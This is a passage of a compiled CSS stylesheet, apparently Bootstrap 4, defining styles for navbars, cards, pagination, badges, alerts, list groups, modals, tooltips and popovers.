flex-start;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n}\n\n.navbar-expand .navbar-nav {\n -ms-flex-direction: row;\n flex-direction: row;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu {\n position: absolute;\n}\n\n.navbar-expand .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n}\n\n.navbar-expand .navbar-collapse {\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n}\n\n.navbar-expand .navbar-toggler {\n display: none;\n}\n\n.navbar-light .navbar-brand {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-nav .nav-link {\n color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus {\n color: rgba(0, 0, 0, 0.7);\n}\n\n.navbar-light .navbar-nav .nav-link.disabled {\n color: rgba(0, 0, 0, 0.3);\n}\n\n.navbar-light .navbar-nav .show > .nav-link,\n.navbar-light .navbar-nav .active > .nav-link,\n.navbar-light .navbar-nav .nav-link.show,\n.navbar-light .navbar-nav .nav-link.active {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-toggler {\n color: rgba(0, 0, 0, 0.5);\n border-color: rgba(0, 0, 0, 0.1);\n}\n\n.navbar-light .navbar-toggler-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-light .navbar-text {\n color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-text a {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-dark .navbar-brand {\n color: #fff;\n}\n\n.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus {\n color: #fff;\n}\n\n.navbar-dark .navbar-nav .nav-link {\n color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus {\n color: rgba(255, 255, 255, 0.75);\n}\n\n.navbar-dark .navbar-nav .nav-link.disabled {\n color: rgba(255, 255, 255, 0.25);\n}\n\n.navbar-dark .navbar-nav .show > .nav-link,\n.navbar-dark .navbar-nav .active > .nav-link,\n.navbar-dark .navbar-nav .nav-link.show,\n.navbar-dark .navbar-nav .nav-link.active {\n color: #fff;\n}\n\n.navbar-dark .navbar-toggler {\n color: rgba(255, 255, 255, 0.5);\n border-color: rgba(255, 255, 255, 0.1);\n}\n\n.navbar-dark .navbar-toggler-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-dark .navbar-text {\n color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-text a {\n color: #fff;\n}\n\n.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus {\n color: #fff;\n}\n\n.card {\n position: relative;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n min-width: 0;\n word-wrap: break-word;\n background-color: #fff;\n background-clip: border-box;\n border: 1px solid rgba(0, 0, 0, 0.125);\n border-radius: 0.25rem;\n}\n\n.card > hr {\n margin-right: 0;\n margin-left: 0;\n}\n\n.card > .list-group:first-child .list-group-item:first-child {\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n}\n\n.card > .list-group:last-child .list-group-item:last-child {\n border-bottom-right-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n}\n\n.card-body {\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n padding: 1.25rem;\n}\n\n.card-title {\n margin-bottom: 0.75rem;\n}\n\n.card-subtitle {\n margin-top: -0.375rem;\n margin-bottom: 0;\n}\n\n.card-text:last-child {\n margin-bottom: 0;\n}\n\n.card-link:hover {\n text-decoration: none;\n}\n\n.card-link + .card-link {\n margin-left: 1.25rem;\n}\n\n.card-header {\n padding: 0.75rem 1.25rem;\n margin-bottom: 0;\n background-color: rgba(0, 0, 0, 0.03);\n border-bottom: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-header:first-child {\n border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0;\n}\n\n.card-header + .list-group .list-group-item:first-child {\n border-top: 0;\n}\n\n.card-footer {\n padding: 0.75rem 1.25rem;\n background-color: rgba(0, 0, 0, 0.03);\n border-top: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-footer:last-child {\n border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px);\n}\n\n.card-header-tabs {\n margin-right: -0.625rem;\n margin-bottom: -0.75rem;\n margin-left: -0.625rem;\n border-bottom: 0;\n}\n\n.card-header-pills {\n margin-right: -0.625rem;\n margin-left: -0.625rem;\n}\n\n.card-img-overlay {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n padding: 1.25rem;\n}\n\n.card-img {\n width: 100%;\n border-radius: calc(0.25rem - 1px);\n}\n\n.card-img-top {\n width: 100%;\n border-top-left-radius: calc(0.25rem - 1px);\n border-top-right-radius: calc(0.25rem - 1px);\n}\n\n.card-img-bottom {\n width: 100%;\n border-bottom-right-radius: calc(0.25rem - 1px);\n border-bottom-left-radius: calc(0.25rem - 1px);\n}\n\n.card-deck {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n}\n\n.card-deck .card {\n margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n .card-deck {\n -ms-flex-flow: row wrap;\n flex-flow: row wrap;\n margin-right: -15px;\n margin-left: -15px;\n }\n .card-deck .card {\n display: -ms-flexbox;\n display: flex;\n -ms-flex: 1 0 0%;\n flex: 1 0 0%;\n -ms-flex-direction: column;\n flex-direction: column;\n margin-right: 15px;\n margin-bottom: 0;\n margin-left: 15px;\n }\n}\n\n.card-group {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n}\n\n.card-group > .card {\n margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n .card-group {\n -ms-flex-flow: row wrap;\n flex-flow: row wrap;\n }\n .card-group > .card {\n -ms-flex: 1 0 0%;\n flex: 1 0 0%;\n margin-bottom: 0;\n }\n .card-group > .card + .card {\n margin-left: 0;\n border-left: 0;\n }\n .card-group > .card:first-child {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n }\n .card-group > .card:first-child .card-img-top,\n .card-group > .card:first-child .card-header {\n border-top-right-radius: 0;\n }\n .card-group > .card:first-child .card-img-bottom,\n .card-group > .card:first-child .card-footer {\n border-bottom-right-radius: 0;\n }\n .card-group > .card:last-child {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n }\n .card-group > .card:last-child .card-img-top,\n .card-group > .card:last-child .card-header {\n border-top-left-radius: 0;\n }\n .card-group > .card:last-child .card-img-bottom,\n .card-group > .card:last-child .card-footer {\n border-bottom-left-radius: 0;\n }\n .card-group > .card:only-child {\n border-radius: 0.25rem;\n }\n .card-group > .card:only-child .card-img-top,\n .card-group > .card:only-child .card-header {\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n }\n .card-group > .card:only-child .card-img-bottom,\n .card-group > .card:only-child .card-footer {\n border-bottom-right-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n }\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) {\n border-radius: 0;\n }\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header,\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer {\n border-radius: 0;\n }\n}\n\n.card-columns .card {\n margin-bottom: 0.75rem;\n}\n\n@media (min-width: 576px) {\n .card-columns {\n -webkit-column-count: 3;\n -moz-column-count: 3;\n column-count: 3;\n -webkit-column-gap: 1.25rem;\n -moz-column-gap: 1.25rem;\n column-gap: 1.25rem;\n orphans: 1;\n widows: 1;\n }\n .card-columns .card {\n display: inline-block;\n width: 100%;\n }\n}\n\n.accordion .card:not(:first-of-type):not(:last-of-type) {\n border-bottom: 0;\n border-radius: 0;\n}\n\n.accordion .card:not(:first-of-type) .card-header:first-child {\n border-radius: 0;\n}\n\n.accordion .card:first-of-type {\n border-bottom: 0;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.accordion .card:last-of-type {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n\n.breadcrumb {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n padding: 0.75rem 1rem;\n margin-bottom: 1rem;\n list-style: none;\n background-color: #e9ecef;\n border-radius: 0.25rem;\n}\n\n.breadcrumb-item + .breadcrumb-item {\n padding-left: 0.5rem;\n}\n\n.breadcrumb-item + .breadcrumb-item::before {\n display: inline-block;\n padding-right: 0.5rem;\n color: #6c757d;\n content: \"/\";\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n text-decoration: underline;\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n text-decoration: none;\n}\n\n.breadcrumb-item.active {\n color: #6c757d;\n}\n\n.pagination {\n display: -ms-flexbox;\n display: flex;\n padding-left: 0;\n list-style: none;\n border-radius: 0.25rem;\n}\n\n.page-link {\n position: relative;\n display: block;\n padding: 0.5rem 0.75rem;\n margin-left: -1px;\n line-height: 1.25;\n color: #007bff;\n background-color: #fff;\n border: 1px solid #dee2e6;\n}\n\n.page-link:hover {\n z-index: 2;\n color: #0056b3;\n text-decoration: none;\n background-color: #e9ecef;\n border-color: #dee2e6;\n}\n\n.page-link:focus {\n z-index: 2;\n outline: 0;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.page-link:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\n.page-item:first-child .page-link {\n margin-left: 0;\n border-top-left-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n}\n\n.page-item:last-child .page-link {\n border-top-right-radius: 0.25rem;\n border-bottom-right-radius: 0.25rem;\n}\n\n.page-item.active .page-link {\n z-index: 1;\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.page-item.disabled .page-link {\n color: #6c757d;\n pointer-events: none;\n cursor: auto;\n background-color: #fff;\n border-color: #dee2e6;\n}\n\n.pagination-lg .page-link {\n padding: 0.75rem 1.5rem;\n font-size: 1.25rem;\n line-height: 1.5;\n}\n\n.pagination-lg .page-item:first-child .page-link {\n border-top-left-radius: 0.3rem;\n border-bottom-left-radius: 0.3rem;\n}\n\n.pagination-lg .page-item:last-child .page-link {\n border-top-right-radius: 0.3rem;\n border-bottom-right-radius: 0.3rem;\n}\n\n.pagination-sm .page-link {\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n}\n\n.pagination-sm .page-item:first-child .page-link {\n border-top-left-radius: 0.2rem;\n border-bottom-left-radius: 0.2rem;\n}\n\n.pagination-sm .page-item:last-child .page-link {\n border-top-right-radius: 0.2rem;\n border-bottom-right-radius: 0.2rem;\n}\n\n.badge {\n display: inline-block;\n padding: 0.25em 0.4em;\n font-size: 75%;\n font-weight: 700;\n line-height: 1;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: 0.25rem;\n}\n\n.badge:empty {\n display: none;\n}\n\n.btn .badge {\n position: relative;\n top: -1px;\n}\n\n.badge-pill {\n padding-right: 0.6em;\n padding-left: 0.6em;\n border-radius: 10rem;\n}\n\n.badge-primary {\n color: #fff;\n background-color: #007bff;\n}\n\n.badge-primary[href]:hover, .badge-primary[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #0062cc;\n}\n\n.badge-secondary {\n color: #fff;\n background-color: #6c757d;\n}\n\n.badge-secondary[href]:hover, .badge-secondary[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #545b62;\n}\n\n.badge-success {\n color: #fff;\n background-color: #28a745;\n}\n\n.badge-success[href]:hover, .badge-success[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #1e7e34;\n}\n\n.badge-info {\n color: #fff;\n background-color: #17a2b8;\n}\n\n.badge-info[href]:hover, .badge-info[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #117a8b;\n}\n\n.badge-warning {\n color: #212529;\n background-color: #ffc107;\n}\n\n.badge-warning[href]:hover, .badge-warning[href]:focus {\n color: #212529;\n text-decoration: none;\n background-color: #d39e00;\n}\n\n.badge-danger {\n color: #fff;\n background-color: #dc3545;\n}\n\n.badge-danger[href]:hover, .badge-danger[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #bd2130;\n}\n\n.badge-light {\n color: #212529;\n background-color: #f8f9fa;\n}\n\n.badge-light[href]:hover, .badge-light[href]:focus {\n color: #212529;\n text-decoration: none;\n background-color: #dae0e5;\n}\n\n.badge-dark {\n color: #fff;\n background-color: #343a40;\n}\n\n.badge-dark[href]:hover, .badge-dark[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #1d2124;\n}\n\n.jumbotron {\n padding: 2rem 1rem;\n margin-bottom: 2rem;\n background-color: #e9ecef;\n border-radius: 0.3rem;\n}\n\n@media (min-width: 576px) {\n .jumbotron {\n padding: 4rem 2rem;\n }\n}\n\n.jumbotron-fluid {\n padding-right: 0;\n padding-left: 0;\n border-radius: 0;\n}\n\n.alert {\n position: relative;\n padding: 0.75rem 1.25rem;\n margin-bottom: 1rem;\n border: 1px solid transparent;\n border-radius: 0.25rem;\n}\n\n.alert-heading {\n color: inherit;\n}\n\n.alert-link {\n font-weight: 700;\n}\n\n.alert-dismissible {\n padding-right: 4rem;\n}\n\n.alert-dismissible .close {\n position: absolute;\n top: 0;\n right: 0;\n padding: 0.75rem 1.25rem;\n color: inherit;\n}\n\n.alert-primary {\n color: #004085;\n background-color: #cce5ff;\n border-color: #b8daff;\n}\n\n.alert-primary hr {\n border-top-color: #9fcdff;\n}\n\n.alert-primary .alert-link {\n color: #002752;\n}\n\n.alert-secondary {\n color: #383d41;\n background-color: #e2e3e5;\n border-color: #d6d8db;\n}\n\n.alert-secondary hr {\n border-top-color: #c8cbcf;\n}\n\n.alert-secondary .alert-link {\n color: #202326;\n}\n\n.alert-success {\n color: #155724;\n background-color: #d4edda;\n border-color: #c3e6cb;\n}\n\n.alert-success hr {\n border-top-color: #b1dfbb;\n}\n\n.alert-success .alert-link {\n color: #0b2e13;\n}\n\n.alert-info {\n color: #0c5460;\n background-color: #d1ecf1;\n border-color: #bee5eb;\n}\n\n.alert-info hr {\n border-top-color: #abdde5;\n}\n\n.alert-info .alert-link {\n color: #062c33;\n}\n\n.alert-warning {\n color: #856404;\n background-color: #fff3cd;\n border-color: #ffeeba;\n}\n\n.alert-warning hr {\n border-top-color: #ffe8a1;\n}\n\n.alert-warning .alert-link {\n color: #533f03;\n}\n\n.alert-danger {\n color: #721c24;\n background-color: #f8d7da;\n border-color: #f5c6cb;\n}\n\n.alert-danger hr {\n border-top-color: #f1b0b7;\n}\n\n.alert-danger .alert-link {\n color: #491217;\n}\n\n.alert-light {\n color: #818182;\n background-color: #fefefe;\n border-color: #fdfdfe;\n}\n\n.alert-light hr {\n border-top-color: #ececf6;\n}\n\n.alert-light .alert-link {\n color: #686868;\n}\n\n.alert-dark {\n color: #1b1e21;\n background-color: #d6d8d9;\n border-color: #c6c8ca;\n}\n\n.alert-dark hr {\n border-top-color: #b9bbbe;\n}\n\n.alert-dark .alert-link {\n color: #040505;\n}\n\n@-webkit-keyframes progress-bar-stripes {\n from {\n background-position: 1rem 0;\n }\n to {\n background-position: 0 0;\n }\n}\n\n@keyframes progress-bar-stripes {\n from {\n background-position: 1rem 0;\n }\n to {\n background-position: 0 0;\n }\n}\n\n.progress {\n display: -ms-flexbox;\n display: flex;\n height: 1rem;\n overflow: hidden;\n font-size: 0.75rem;\n background-color: #e9ecef;\n border-radius: 0.25rem;\n}\n\n.progress-bar {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n -ms-flex-pack: center;\n justify-content: center;\n color: #fff;\n text-align: center;\n white-space: nowrap;\n background-color: #007bff;\n transition: width 0.6s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .progress-bar {\n transition: none;\n }\n}\n\n.progress-bar-striped {\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-size: 1rem 1rem;\n}\n\n.progress-bar-animated {\n -webkit-animation: progress-bar-stripes 1s linear infinite;\n animation: progress-bar-stripes 1s linear infinite;\n}\n\n.media {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-align: start;\n align-items: flex-start;\n}\n\n.media-body {\n -ms-flex: 1;\n flex: 1;\n}\n\n.list-group {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n padding-left: 0;\n margin-bottom: 0;\n}\n\n.list-group-item-action {\n width: 100%;\n color: #495057;\n text-align: inherit;\n}\n\n.list-group-item-action:hover, .list-group-item-action:focus {\n color: #495057;\n text-decoration: none;\n background-color: #f8f9fa;\n}\n\n.list-group-item-action:active {\n color: #212529;\n background-color: #e9ecef;\n}\n\n.list-group-item {\n position: relative;\n display: block;\n padding: 0.75rem 1.25rem;\n margin-bottom: -1px;\n background-color: #fff;\n border: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.list-group-item:first-child {\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n}\n\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n}\n\n.list-group-item:hover, .list-group-item:focus {\n z-index: 1;\n text-decoration: none;\n}\n\n.list-group-item.disabled, .list-group-item:disabled {\n color: #6c757d;\n background-color: #fff;\n}\n\n.list-group-item.active {\n z-index: 2;\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.list-group-flush .list-group-item {\n border-right: 0;\n border-left: 0;\n border-radius: 0;\n}\n\n.list-group-flush:first-child .list-group-item:first-child {\n border-top: 0;\n}\n\n.list-group-flush:last-child .list-group-item:last-child {\n border-bottom: 0;\n}\n\n.list-group-item-primary {\n color: #004085;\n background-color: #b8daff;\n}\n\n.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus {\n color: #004085;\n background-color: #9fcdff;\n}\n\n.list-group-item-primary.list-group-item-action.active {\n color: #fff;\n background-color: #004085;\n border-color: #004085;\n}\n\n.list-group-item-secondary {\n color: #383d41;\n background-color: #d6d8db;\n}\n\n.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus {\n color: #383d41;\n background-color: #c8cbcf;\n}\n\n.list-group-item-secondary.list-group-item-action.active {\n color: #fff;\n background-color: #383d41;\n border-color: #383d41;\n}\n\n.list-group-item-success {\n color: #155724;\n background-color: #c3e6cb;\n}\n\n.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus {\n color: #155724;\n background-color: #b1dfbb;\n}\n\n.list-group-item-success.list-group-item-action.active {\n color: #fff;\n background-color: #155724;\n border-color: #155724;\n}\n\n.list-group-item-info {\n color: #0c5460;\n background-color: #bee5eb;\n}\n\n.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus {\n color: #0c5460;\n background-color: #abdde5;\n}\n\n.list-group-item-info.list-group-item-action.active {\n color: #fff;\n background-color: #0c5460;\n border-color: #0c5460;\n}\n\n.list-group-item-warning {\n color: #856404;\n background-color: #ffeeba;\n}\n\n.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus {\n color: #856404;\n background-color: #ffe8a1;\n}\n\n.list-group-item-warning.list-group-item-action.active {\n color: #fff;\n background-color: #856404;\n border-color: #856404;\n}\n\n.list-group-item-danger {\n color: #721c24;\n background-color: #f5c6cb;\n}\n\n.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus {\n color: #721c24;\n background-color: #f1b0b7;\n}\n\n.list-group-item-danger.list-group-item-action.active {\n color: #fff;\n background-color: #721c24;\n border-color: #721c24;\n}\n\n.list-group-item-light {\n color: #818182;\n background-color: #fdfdfe;\n}\n\n.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus {\n color: #818182;\n background-color: #ececf6;\n}\n\n.list-group-item-light.list-group-item-action.active {\n color: #fff;\n background-color: #818182;\n border-color: #818182;\n}\n\n.list-group-item-dark {\n color: #1b1e21;\n background-color: #c6c8ca;\n}\n\n.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus {\n color: #1b1e21;\n background-color: #b9bbbe;\n}\n\n.list-group-item-dark.list-group-item-action.active {\n color: #fff;\n background-color: #1b1e21;\n border-color: #1b1e21;\n}\n\n.close {\n float: right;\n font-size: 1.5rem;\n font-weight: 700;\n line-height: 1;\n color: #000;\n text-shadow: 0 1px 0 #fff;\n opacity: .5;\n}\n\n.close:hover, .close:focus {\n color: #000;\n text-decoration: none;\n opacity: .75;\n}\n\n.close:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\nbutton.close {\n padding: 0;\n background-color: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n\n.modal-open {\n overflow: hidden;\n}\n\n.modal {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n display: none;\n overflow: hidden;\n outline: 0;\n}\n\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 0.5rem;\n pointer-events: none;\n}\n\n.modal.fade .modal-dialog {\n transition: -webkit-transform 0.3s ease-out;\n transition: transform 0.3s ease-out;\n transition: transform 0.3s ease-out, -webkit-transform 0.3s ease-out;\n -webkit-transform: translate(0, -25%);\n transform: translate(0, -25%);\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .modal.fade .modal-dialog {\n transition: none;\n }\n}\n\n.modal.show .modal-dialog {\n -webkit-transform: translate(0, 0);\n transform: translate(0, 0);\n}\n\n.modal-dialog-centered {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-align: center;\n align-items: center;\n min-height: calc(100% - (0.5rem * 2));\n}\n\n.modal-content {\n position: relative;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n width: 100%;\n pointer-events: auto;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 0.3rem;\n outline: 0;\n}\n\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000;\n}\n\n.modal-backdrop.fade {\n opacity: 0;\n}\n\n.modal-backdrop.show {\n opacity: 0.5;\n}\n\n.modal-header {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-align: start;\n align-items: flex-start;\n -ms-flex-pack: justify;\n justify-content: space-between;\n padding: 1rem;\n border-bottom: 1px solid #e9ecef;\n border-top-left-radius: 0.3rem;\n border-top-right-radius: 0.3rem;\n}\n\n.modal-header .close {\n padding: 1rem;\n margin: -1rem -1rem -1rem auto;\n}\n\n.modal-title {\n margin-bottom: 0;\n line-height: 1.5;\n}\n\n.modal-body {\n position: relative;\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n padding: 1rem;\n}\n\n.modal-footer {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-align: center;\n align-items: center;\n -ms-flex-pack: end;\n justify-content: flex-end;\n padding: 1rem;\n border-top: 1px solid #e9ecef;\n}\n\n.modal-footer > :not(:first-child) {\n margin-left: .25rem;\n}\n\n.modal-footer > :not(:last-child) {\n margin-right: .25rem;\n}\n\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n\n@media (min-width: 576px) {\n .modal-dialog {\n max-width: 500px;\n margin: 1.75rem auto;\n }\n .modal-dialog-centered {\n min-height: calc(100% - (1.75rem * 2));\n }\n .modal-sm {\n max-width: 300px;\n }\n}\n\n@media (min-width: 992px) {\n .modal-lg {\n max-width: 800px;\n }\n}\n\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n margin: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-style: normal;\n font-weight: 400;\n line-height: 1.5;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n white-space: normal;\n line-break: auto;\n font-size: 0.875rem;\n word-wrap: break-word;\n opacity: 0;\n}\n\n.tooltip.show {\n opacity: 0.9;\n}\n\n.tooltip .arrow {\n position: absolute;\n display: block;\n width: 0.8rem;\n height: 0.4rem;\n}\n\n.tooltip .arrow::before {\n position: absolute;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n}\n\n.bs-tooltip-top, .bs-tooltip-auto[x-placement^=\"top\"] {\n padding: 0.4rem 0;\n}\n\n.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^=\"top\"] .arrow {\n bottom: 0;\n}\n\n.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^=\"top\"] .arrow::before {\n top: 0;\n border-width: 0.4rem 0.4rem 0;\n border-top-color: #000;\n}\n\n.bs-tooltip-right, .bs-tooltip-auto[x-placement^=\"right\"] {\n padding: 0 0.4rem;\n}\n\n.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^=\"right\"] .arrow {\n left: 0;\n width: 0.4rem;\n height: 0.8rem;\n}\n\n.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^=\"right\"] .arrow::before {\n right: 0;\n border-width: 0.4rem 0.4rem 0.4rem 0;\n border-right-color: #000;\n}\n\n.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^=\"bottom\"] {\n padding: 0.4rem 0;\n}\n\n.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow {\n top: 0;\n}\n\n.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow::before {\n bottom: 0;\n border-width: 0 0.4rem 0.4rem;\n border-bottom-color: #000;\n}\n\n.bs-tooltip-left, .bs-tooltip-auto[x-placement^=\"left\"] {\n padding: 0 0.4rem;\n}\n\n.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^=\"left\"] .arrow {\n right: 0;\n width: 0.4rem;\n height: 0.8rem;\n}\n\n.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^=\"left\"] .arrow::before {\n left: 0;\n border-width: 0.4rem 0 0.4rem 0.4rem;\n border-left-color: #000;\n}\n\n.tooltip-inner {\n max-width: 200px;\n padding: 0.25rem 0.5rem;\n color: #fff;\n text-align: center;\n background-color: #000;\n border-radius: 0.25rem;\n}\n\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: block;\n max-width: 276px;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-style: normal;\n font-weight: 400;\n line-height: 1.5;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n white-space: normal;\n line-break: auto;\n font-size: 0.875rem;\n word-wrap: break-word;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 0.3rem;\n}\n\n.popover .arrow {\n position: absolute;\n display: block;\n width: 1rem;\n height: 0.5rem;\n margin: 0 0.3rem;\n}\n\n.popover .arrow::before, .popover .arrow::after {\n position: absolute;\n display: block;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n}\n\n.bs-popover-top, .bs-popover-auto[x-placement^=\"top\"] {\n margin-bottom: 0.5rem;\n}\n\n.bs-popover-top .arrow, .bs-popover-auto[x-placement^=\"top\"] .arrow {\n bottom: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before,\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n border-width: 0.5rem 0.5rem 0;\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before {\n bottom: 0;\n border-top-color: 